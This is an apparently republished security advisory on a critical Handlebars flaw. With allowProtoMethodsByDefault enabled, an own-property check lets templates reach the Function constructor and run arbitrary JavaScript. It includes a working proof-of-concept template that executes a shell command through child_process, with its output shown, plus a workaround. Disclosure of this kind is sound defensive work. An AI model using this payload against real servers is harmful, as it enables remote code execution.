Handlebars: JavaScript Injection via Own Property Check Bypass

## Summary Handlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `lookupProperty` trusts own properties: ```js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; } ``` Normally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects: ```js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object; ``` As a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list. ## Proof of Concept An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context: 1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply). ```javascript const Handlebars = require('handlebars'); // constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' + // access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' + // #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' ); const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } ); console.log(result.trim()); // output: uid=1000(node) gid=1000(node) groups=1000(node) ``` ## Workarounds Do not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data. If you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.

Source published

8 Oct 2026 17:52:26 UTC

Source modified

12 Oct 2026 14:45:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL